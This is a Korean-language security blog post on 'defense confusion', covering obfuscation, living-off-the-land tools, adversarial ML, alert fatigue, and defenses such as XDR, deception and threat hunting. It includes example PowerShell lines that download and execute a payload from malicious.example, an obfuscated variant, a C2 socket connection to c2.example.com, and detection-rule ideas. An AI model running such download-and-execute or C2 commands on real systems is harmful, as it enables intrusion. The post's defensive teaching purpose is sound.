
현대 공격자는 더 이상 “방패를 정면 돌파”하려 하지 않습니다. 대신 방패를 든 사람의 눈과 머리를 먼저 흐리게 만드는 것, 즉 방어 체계에 혼란(Confusion)을 주는 것에 집중합니다.
이 글에서는 보안 관점에서의 Defense Confusion(방어 혼란)을 세 가지 맥락에서 정리하고,
- 공격자는 어떻게 혼란을 만들고
- 방어자는 어디서 혼란에 빠지며
- 조직은 어떻게 명확성(Clarity)를 회복할 수 있는지
를 실무 예시와 함께 정리를 해봅니다.
Defense Confusion(방어 혼란)이란?
보안에서 말하는 Confusion(혼란)은 단순한 감정 상태가 아니라, 정확한 판단이 구조적으로 불가능해진 상태를 의미합니다.
이 글에서는 Confusion을 아래 세 가지 층위로 나눕니다.
1) 전술적 혼란 (Tactical Confusion)
공격자가 자신의 행위나 흔적을 정상적인 시스템 활동처럼 위장하여,
- 탐지 규칙(시그니처, YARA, 룰셋)을 피해 가고
- 분석가의 분석 시간을 극적으로 지연시키는 기법입니다.
대표 예시
- 난독화(Obfuscation)된 악성 스크립트
- 정상 툴을 활용한 Living off the Land(LotL)
- AI/ML 모델을 속이는 적대적 공격(Adversarial ML)
2) 운영적 혼란 (Operational Confusion)
보안 운영 관점에서의 혼란입니다.
- SIEM, EDR, NDR, WAF 등에서 수천 건의 경보가 쏟아지고,
- 오탐(False Positive)과 저위험 경보가 섞여
- 진짜 위협을 구분하지 못하는 상태를 말합니다.
이때 분석가는 Alert Fatigue(경보 피로)에 빠지고, 결국 정말 중요한 알람을 놓치게 되는 위험이 커집니다.
3) 이론적 혼란 (Theoretical Confusion – 암호학)
암호학에서의 Confusion은 조금 다른 의미입니다.
클로드 섀넌(Claude Shannon)은 다음과 같이 정의합니다.
암호문과 평문(또는 키) 사이의 상관관계를 숨기는 성질
즉, 암호문만 보고는 키나 평문을 추측할 수 없도록, 관계를 최대한 복잡하게 만드는 것을 말합니다.
- 방어자는 암호학적 Confusion으로 데이터를 보호하고
- 공격자는 전술적 Confusion으로 자신의 행위를 숨기며
- 운영자는 운영적 Confusion으로 인해 진짜와 가짜를 헷갈리게 됩니다.
이 세 층위가 동시에 얽힐 때, 조직은 “눈은 떠 있지만 아무것도 보이지 않는 상태”가 됩니다.
공격자의 무기: 어떻게 방어를 혼란시키는가?
이제 공격자가 Defense Confusion을 만들기 위해 쓰는 대표적인 기술들을 보겠습니다.
1. 난독화(Obfuscation): “코드는 살아있지만 의미는 죽는다”
개념
난독화는 코드나 스크립트의 의미를 유지한 채, 읽기와 분석을 어렵게 만드는 기술입니다.
(1) 코드 난독화 예시 – PowerShell
# 가독성이 있는 악성 코드 (예시)
$payload = (New-Object Net.WebClient).DownloadString("http://malicious.example/payload.ps1")
Invoke-Expression $payload
이를 난독화하면
# 난독화된 예시
$e = 'Invoke-Expression'
$u = 'http://malicious.example/payload.ps1'
$w = (New-Object Net.WebClient).('Down'+'loadString')($u)
&($e) $w
보안 관점 이슈
- 시그니처 기반 탐지는
DownloadString("http://...")패턴을 찾기 어렵습니다. - 분석가는 의도 파악에 더 많은 시간을 쏟게 되고,
- 자동 분석 시스템은 “정상 PowerShell 스크립트”와 혼동할 가능성이 높아집니다.
(2) 내부 사용자 보안 가이드
- PowerShell, Python, JavaScript 등 스크립트 실행 로그를 수집하고,
- “인코딩된 스크립트 실행”, “비정상적인 길이/패턴의 명령” 등을 별도 룰로 탐지
- 예:
powershell.exe -enc빈도 모니터링
- 예:
- 개발자/운영자에게
- 운영 자동화 스크립트는 가능한 한 난독화 금지
- 불가피한 경우, 원본(비난독화) 버전을 별도 저장소에 관리하고, 접근 통제를 설정
2. Living off the Land(LoL / LotL): 정상 도구를 악용하는 침투
개념
공격자가 추가적인 악성 파일을 투입하지 않고, 이미 OS에 포함된 정상 도구(LOLBin)를 활용해 공격을 수행하는 방식입니다.
대표 도구
- Windows:
powershell.exe,cmd.exe,wmi,bitsadmin,rundll32,reg.exe - Linux:
bash,curl,wget,ssh,nc,python,perl
(1) LotL 공격 예시 – Windows
# PowerShell을 이용한 C2 연결 예시 (단순화)
$client = New-Object System.Net.Sockets.TCPClient("c2.example.com", 443)
$stream = $client.GetStream()
# 이후 명령 수신 및 실행 루프...
이 행위는 표면적으로는
- “관리자가 원격 명령을 실행하는 것”과 유사해 보입니다.
(2) 혼란 포인트
- 로그에 남는 것은 정상 프로세스 이름 (예:
powershell.exe) - 블랙리스트 기반 차단 정책만 사용하면,
- 차단 시: 정당한 관리자 작업까지 막을 위험
- 허용 시: 공격자의 활동을 그대로 허용하는 결과
(3) 보안 관점 체크포인트
내부 보안 점검 시 아래 항목을 확인해 보셔야 합니다.
- LotL 도구 사용 기준 정의
- “누가, 어느 서버에서, 어떤 시간대에, 어떤 옵션으로 쓸 수 있는가?”
- 예
- 운영팀 계정만 특정 관리 서버에서 사용 허용
- 야간/휴일 LotL 사용은 별도 알림
- 행위 기반 탐지(Behavior-based Detection) 적용
- 단순히
powershell.exe실행 여부가 아니라, - 외부 C2, 내부 중요 시스템 향하는 네트워크 연결,
- Base64 인코딩 옵션 사용 등 패턴 기반 룰 필요
- 단순히
- EDR / SIEM 룰 예시
- 규칙 아이디어
powershell.exe+-EncodedCommand+ 외부 IP 접속 시 우선 경보rundll32.exe가 비정상 경로(C:\Users\...)의 DLL 실행 시 고위험
3. AI/ML 모델 혼란 (Adversarial Attack)
보안 솔루션도 AI/ML을 적극 활용하면서, 공격자는 모델 자체를 속이는 공격을 시도합니다.
(1) 예시 시나리오
- ML 기반 IPS/EDR이 패킷/프로세스 특성을 보고
- “정상/악성”을 분류한다고 가정합니다.
- 공격자는 탐지 피하기 위해
- 특정 바이트를 살짝 섞어 특징 벡터를 왜곡 → 모델이 정상으로 오분류(Misclassification)
(2) 혼란 포인트
- 전통적인 시그니처/룰에는 안 걸리고,
- ML 모델은 “정상”이라고 판단
- 운영자는 “모델이 OK라는데 굳이 차단할 이유가 있나?”라는 심리적 의존에 빠지기 쉽습니다.
(3) 보안 관점 가이드
- “ML 모델 기반 탐지”는 보조 신호로 사용하고,
- 고위험 자산은 여전히 정책 기반 차단을 병행
- ML 모델 업데이트 및 튜닝 시,
- 적대적 테스트(Adversarial Testing)를 별도 수행
- 예: 레드팀이 모델을 상대로 우회 시도 → 우회 패턴을 룰/시그니처로 보완
방어자의 딜레마: Confusion Matrix와 오탐의 늪
보안 시스템 자체도 분류기(Classifier)입니다.
이때 자주 사용하는 개념이 바로 오차 행렬(Confusion Matrix)입니다.
1. Confusion Matrix 요약
| 구분 | 실제 공격 (True) | 실제 정상 (False) |
|---|---|---|
| 시스템 탐지 (Positive) | TP (진양성): 공격 잘 잡음 | FP (위양성 / 오탐): 정상인데 공격으로 오인 |
| 시스템 미탐지 (Negative) | FN (위음성 / 미탐): 공격인데 못 잡음 | TN (진음성): 정상 잘 무시 |
- FP(오탐): SOC 피로도↑, 신뢰도↓
- FN(미탐): 실제 침해 사고로 직결될 수 있는 치명적인 리스크
2. 실제 운영 환경에서의 문제
- 오탐이 많은 환경
- 하루 수천~수만 건의 알람
- “또 그 알람이네” → 경보 무시 습관
- 이때 진짜 공격이 같은 룰로 들어오면 그대로 놓침
- 과도한 튜닝으로 인한 미탐
- 오탐을 줄이겠다고 룰을 느슨하게 만들면
- 알람은 줄지만, 공격도 함께 빠져나감(FN 증가)
3. 내부 보안 점검 포인트
보안 관리자 관점에서, 정기적으로 아래를 체크해야 합니다.
- 우리 SIEM/EDR의 위양성률(FP Rate)을 측정하고 있는가?
- Top 10 오탐 룰을 정기적으로 검토하고 있는가?
- 새로 추가한 룰에 대해
- “검증 기간(Observation Mode)”을 두고
- 실제 FP/FN을 측정한 뒤 운영에 반영하는 프로세스가 있는가?
근원적 이론: 암호학에서의 Confusion
이제 조금 시야를 넓혀, 암호학에서의 Confusion을 간단히 짚어 보겠습니다.
1. Claude Shannon의 Confusion & Diffusion
섀넌은 안전한 암호 시스템의 두 가지 요소를 제시합니다.
- Confusion
- 키와 암호문 사이의 관계를 복잡하게 만들어
- 암호문만 보고 키를 유추하기 어렵게 하는 성질
- Diffusion
- 평문의 작은 변화가 암호문의 많은 부분에 영향을 미치게 하는 성질
대표 예: 블록 암호(AES 등)는
- S-box(치환) → Confusion
- P-box(치환, 비트/바이트 섞기) → Diffusion
의 조합으로 안전성을 높입니다.
2. 방어자 vs 공격자 – 서로 다른 Confusion
- 방어자(시스템, 설계자)
- 암호학적 Confusion을 통해 데이터 보호, 키 은닉을 달성
- 공격자
- 전술적 Confusion으로 침투 흔적 은폐, 탐지 회피
- 운영자(보안 관제)
- 운영적 Confusion에 빠질 경우 보호/공격 모두 제대로 인지하지 못함
이 차이를 이해하면,
- “암호학적 Confusion”은 필수
- “운영/전술적 Confusion”은 해결/제거 대상
이라는 구조가 보다 명확해집니다.
대응 전략: 혼란을 넘어 통찰(Insight)으로
이제 중요한 질문은 이것입니다.
“우리는 Defense Confusion을 어떻게 줄이고, 명확성(Clarity)를 확보할 것인가?”
대표적인 대응 전략을 세 가지로 묶어 볼 수 있습니다.
1. 가시성(Visibility)의 통합 – XDR, Data Fusion
단편적인 로그만 보면 혼란스럽습니다.
- EDR: 엔드포인트 행위
- NDR: 네트워크 트래픽
- 클라우드 로그: IAM, API 호출, 리소스 변경
이들이 각자 따로 존재하면, 공격자의 전체 Kill Chain 스토리가 보이지 않습니다.
(1) XDR 관점
XDR(Extended Detection and Response)은
- 서로 다른 보안 텔레메트리를 하나의 플랫폼으로 모아
- “하나의 인시던트 스토리”로 엮어주는 접근입니다.
예시 플로우
- EDR:
powershell.exe -EncodedCommand ...실행 - NDR: 같은 호스트에서 외부 C2 IP 443 포트로 비정상 트래픽
- AD/IdP: 해당 계정이 새벽 3시에 로그인
이 세 가지를 별개 알람으로 보면
- “그냥 관리자 작업인가?” 정도로 끝날 수 있지만,
XDR이 이를 하나의 타임라인으로 묶어 보여주면: - “계정 탈취 + LotL + C2 연결”이라는 명확한 공격 스토리가 됩니다.
(2) 내부 가이드
- “XDR 도입 여부” 이전에라도,
- 최소한 SIEM 레벨에서
- 호스트, 계정, 세션ID, 프로세스 상관관계를 기준으로 알람 묶기(Correlation Rule)
- 최소한 SIEM 레벨에서
- 보안팀/인프라팀/개발팀 간
- “우리는 어떤 로그를 어디까지 모으고 있는가?”
- “누가 그 로그에 접근할 수 있는가?”를 문서화
2. 능동적 기만(Deception Technology): 공격자를 되려 혼란스럽게
공격자가 우리를 혼란스럽게 한다면,
우리는 기만(Deception)으로 공격자를 되려 혼란에 빠뜨릴 수 있습니다.
(1) 허니팟 & 디코이
- 허니팟 서버: 실제 서비스처럼 보이지만,
- 실제로는 공격자 행위를 관찰하기 위한 함정 서버
- 디코이 계정/자격증명
- 실제 계정처럼 AD/DB에 존재하지만
- 정상 사용자는 절대 사용하지 않도록 설계
(2) 예시
- AD에
svc_backup_admin같은 계정을 만들어 두고,- 실제 운영에는 사용하지 않음
- 이 계정으로 로그온 시도 발생 → 100% 공격 시도로 간주
- 내부 Git 서버에
secret-config-old.zip같은 가짜 파일 배치- 접근 시 SIEM/EDR에 고위험 알람 발생
(3) 내부 정책 가이드
- 기만 자산은
- 실제 운영 자산과 명확히 구분되는 네이밍 룰 적용
- 접근 발생 시, 즉각적인 인시던트 대응 플로우로 연결
- 내부 사용자 공지
- “이러한 계정/서버/파일은 절대 사용하지 말 것”을 명확히 알리고,
- 오탐을 줄이기 위해 사내 운영팀과 사전 조율 필수
3. 위협 헌팅(Threat Hunting): 능동적 탐색으로 혼란을 뚫기
자동화된 시스템이 모든 것을 잡아주지는 못합니다.
그래서 위협 헌팅(Threat Hunting)이 필요합니다.
(1) Threat Hunting의 핵심
- “알람이 떠서 본다”가 아니라
- “이런 공격이 있을 것 같다”라는 가설을 먼저 세우고,
- 로그/텔레메트리를 능동적으로 탐색하는 활동입니다.
예시 가설
- “지난 2주간 가장 많이 실패한 로그인 TOP 10 계정 중,
특정 지역 IP에서만 반복 시도되는 계정이 있는가?” - “업무시간 외에 특정 서버에서만 반복되는 PowerShell 실행 패턴이 있는가?”
(2) 헌팅 시 유용한 체크 포인트
- LotL 도구 실행 패턴
- PowerShell, WMI,
rundll32.exe,wmic.exe등
- PowerShell, WMI,
- 관리자 계정의 비정상 시간대 로그인
- EDR/AV 예외가 적용된 서버에서의 네트워크 이상 징후
- 암호화/압축 툴(7zip, WinRAR 등)의 비정상 사용 패턴
(3) 조직 내 제도화
- “월 1회 Threat Hunting Day”처럼 정기적인 헌팅 타임 확보
- 헌팅 결과는
- 새 룰/플레이북으로 환원
- 후속 교육 자료로 활용 (운영팀, 헬프데스크 등)
결론: 명확함이 곧 보안이다
Defense Confusion은 공격자가 노리는 가장 인간적인 약점입니다.
- 우리는 쏟아지는 경보 속에서 지치고,
- 난독화된 코드와 LotL 패턴 속에서 판단이 흐려지며,
- AI/ML 모델이 “정상”이라고 말해 주면 안심해 버리는 경향이 있습니다.
결국 보안의 목표는
“모든 것을 막는 것”에서
“혼란(Noise)을 줄이고, 진짜 신호(Signal)을 찾아내는 것”으로 진화해야 합니다.
이를 위해서는
- 불필요한 오탐 줄이기 (Tuning)
- FP 상위 룰 주기적 검토
- 운영 환경에 맞는 탐지 기준 재정의
- 통합된 가시성 확보 (Integration / XDR)
- 엔드포인트, 네트워크, 클라우드, 계정 로그를 한 화면에서 연결
- “점”이 아닌 “스토리”로 보는 관점 전환
- 공격자를 역으로 속이는 전략 (Deception)
- 허니팟, 디코이, 미끼 계정/파일로
- 공격자의 행위를 선제적으로 포착
이 세 가지가 기반이 될 때,
우리는 비로소 혼란의 안개를 걷어내고 통찰(Insight)에 기반한 보안을 실현할 수 있습니다.
Next Action for Security Teams: 바로 할 수 있는 3단계 체크리스트
마무리로, 실제 조직에서 바로 점검해 볼 수 있는 액션 아이템을 정리합니다.
- SIEM/EDR 오탐율 점검
- 최근 1~3개월 알람 기준으로
- Top 10 탐지 룰의 FP 비율 측정
- “운영상 의미 없는 알람”은 튜닝/비활성화/조건 변경
- 최근 1~3개월 알람 기준으로
- LotL(Living off the Land) 모니터링 정책 점검
- PowerShell, WMI,
rundll32,wmic,curl/wget등 주요 LotL 도구에 대해:- “누가 / 어디서 / 언제 / 어떻게 쓸 수 있는지” 정책 문서화
- 이상 행위 탐지 룰(예: 야간+외부 접속+EncodedCommand) 존재 여부 확인
- PowerShell, WMI,
- Deception 준비 상태 점검
- 허니팟/디코이 계정/디코이 파일 운영 여부 확인
- 없다면
- PoC 수준으로라도 “가짜 계정 + 접근 알람”부터 시도
- 있다면
- 접근 알람이 실제 인시던트 대응 프로세스로 연결되는지 점검
이 글의 내용을 기반으로, 조직 내부 교육자료나 보안 정책 개정 시
- “Confusion을 줄이고 Clarity를 높이는 것”을 명시적인 목표로 설정하면,
Defense Confusion에 더 체계적으로 대응할 수 있습니다.
댓글